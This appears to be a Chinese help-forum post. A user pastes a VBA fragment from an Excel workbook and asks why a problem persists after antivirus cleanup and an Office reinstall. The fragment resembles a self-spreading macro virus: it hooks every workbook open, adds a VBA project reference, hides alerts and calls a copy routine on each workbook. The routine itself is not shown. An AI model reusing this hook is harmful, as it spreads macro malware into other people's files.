Public WithEvents xx As Application
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub
我是用杀毒软件杀完毒后出现这种情况的,后来把杀毒软件卸载,重装office还是出现这种情况,但是我把excel表格放到别的电脑上打开又是正常的。最好不要说重装系统,有几台电脑的,装系统后也不知道是射门原因造成的
谁能解决这个问题,江湖救急
本来想给200分的,系统只设置了100分,哪位高手出来帮下忙啊,急急急。。。。。